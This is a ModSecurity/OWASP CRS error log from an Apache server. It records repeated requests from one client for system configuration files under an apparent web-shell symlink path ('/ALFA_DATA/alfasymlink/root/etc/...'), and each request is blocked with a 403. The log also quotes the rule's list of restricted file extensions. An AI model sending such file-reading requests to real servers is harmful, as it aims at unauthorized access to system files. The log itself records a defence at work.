[Sun Oct 25 14:29:40.038663 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52761] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at5KlLFCIv3LB15s-_e9hgAAAAM"]
[Sun Oct 25 14:29:40.038887 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52761] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at5KlLFCIv3LB15s-_e9hgAAAAM"]
[Sun Oct 25 14:29:40.039134 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52761] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at5KlLFCIv3LB15s-_e9hgAAAAM"]
[Sun Oct 25 14:29:40.043030 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52768] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/ssl.conf"] [unique_id "at5KlGT7SK5esjpOWSjqtQAAABY"]
[Sun Oct 25 14:29:40.043217 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/ssl.conf"] [unique_id "at5KlGT7SK5esjpOWSjqtQAAABY"]
[Sun Oct 25 14:29:40.043878 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/ssl.conf"] [unique_id "at5KlGT7SK5esjpOWSjqtQAAABY"]
[Sun Oct 25 14:29:40.137294 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52769] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/sni.conf"] [unique_id "at5KlCpTNKVnE1oMPCDtHgAAAAA"]
[Sun Oct 25 14:29:40.137610 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52769] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/sni.conf"] [unique_id "at5KlCpTNKVnE1oMPCDtHgAAAAA"]
[Sun Oct 25 14:29:40.137879 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52769] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/sni.conf"] [unique_id "at5KlCpTNKVnE1oMPCDtHgAAAAA"]
[Sun Oct 25 14:29:40.140277 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52777] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cfg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dpkg/dpkg.cfg"] [unique_id "at5KlIptOg7YDpX4xSOWugAAABA"]
[Sun Oct 25 14:29:40.140497 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52777] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dpkg/dpkg.cfg"] [unique_id "at5KlIptOg7YDpX4xSOWugAAABA"]
[Sun Oct 25 14:29:40.140752 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52777] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dpkg/dpkg.cfg"] [unique_id "at5KlIptOg7YDpX4xSOWugAAABA"]
[Sun Oct 25 14:29:40.164790 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52780] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "at5KlKi7oKzIlJx03ipNXAAAAAE"]
[Sun Oct 25 14:29:40.167268 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "at5KlKi7oKzIlJx03ipNXAAAAAE"]
[Sun Oct 25 14:29:40.167531 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "at5KlKi7oKzIlJx03ipNXAAAAAE"]
[Sun Oct 25 14:29:40.182072 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52781] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf.d/50-network-legacy.conf"] [unique_id "at5KlItGhKGouuv1pXBVoQAAAAY"]
[Sun Oct 25 14:29:40.312163 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52781] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf.d/50-network-legacy.conf"] [unique_id "at5KlItGhKGouuv1pXBVoQAAAAY"]
[Sun Oct 25 14:29:40.312652 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:52781] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf.d/50-network-legacy.conf"] [unique_id "at5KlItGhKGouuv1pXBVoQAAAAY"]
[Sun Oct 25 14:29:40.315979 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52792] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/10-scale-bitmap-fonts.conf"] [unique_id "at5KlJKSFHHoiviJa5dqjgAAAAo"]
[Sun Oct 25 14:29:40.316191 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/10-scale-bitmap-fonts.conf"] [unique_id "at5KlJKSFHHoiviJa5dqjgAAAAo"]
[Sun Oct 25 14:29:40.316428 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/10-scale-bitmap-fonts.conf"] [unique_id "at5KlJKSFHHoiviJa5dqjgAAAAo"]
[Sun Oct 25 14:29:40.319219 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52814] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-vera.conf"] [unique_id "at5KlCEQblycZeXKbm74mAAAAAU"]
[Sun Oct 25 14:29:40.319416 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-vera.conf"] [unique_id "at5KlCEQblycZeXKbm74mAAAAAU"]
[Sun Oct 25 14:29:40.319667 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-vera.conf"] [unique_id "at5KlCEQblycZeXKbm74mAAAAAU"]
[Sun Oct 25 14:29:40.320908 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52809] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-dejavu-sans.conf"] [unique_id "at5KlL6D6j04LiS6yScWOwAAAAI"]
[Sun Oct 25 14:29:40.321013 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52816] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/30-metric-aliases.conf"] [unique_id "at5KlEYY36dVli09oOhVZgAAAAw"]
[Sun Oct 25 14:29:40.321145 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52809] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-dejavu-sans.conf"] [unique_id "at5KlL6D6j04LiS6yScWOwAAAAI"]
[Sun Oct 25 14:29:40.321204 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/30-metric-aliases.conf"] [unique_id "at5KlEYY36dVli09oOhVZgAAAAw"]
[Sun Oct 25 14:29:40.321365 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52809] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/20-unhint-small-dejavu-sans.conf"] [unique_id "at5KlL6D6j04LiS6yScWOwAAAAI"]
[Sun Oct 25 14:29:40.321440 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/30-metric-aliases.conf"] [unique_id "at5KlEYY36dVli09oOhVZgAAAAw"]
